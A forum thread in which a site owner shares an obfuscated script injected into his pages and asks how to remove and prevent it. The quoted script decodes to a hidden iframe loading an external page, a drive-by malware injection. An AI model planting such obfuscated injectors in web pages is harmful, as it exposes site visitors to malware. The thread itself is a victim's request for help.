A strange code

Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.

Moderator: General Moderators

Post Reply
jeeten
Forum Newbie
Posts: 6
Joined: Tue Mar 11, 2008 6:04 am

A strange code

Post by jeeten »

We had just launched the website. And after few days, I got some strange code at the end of my pages . The script is like this

Code: Select all

<html> <body><script>var source ="=jgsbnf!tsd>#iuuq;00usbggpl/do0pvu/qiq#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html> </body>

This script is causing problem to load the page. Plz can anyone help to stop this unwanted script??????
atm
Forum Newbie
Posts: 5
Joined: Wed Oct 29, 2008 1:24 pm

Re: A strange code

Post by atm »

Looks like this post says you have some bad karma going on there...

http://snewscms.com/forum/index.php?topic=7918.msg56533
jeeten
Forum Newbie
Posts: 6
Joined: Tue Mar 11, 2008 6:04 am

Re: A strange code

Post by jeeten »

No idea yet. I had seen that too but can someone tell me how to prevent such codes???
Post Reply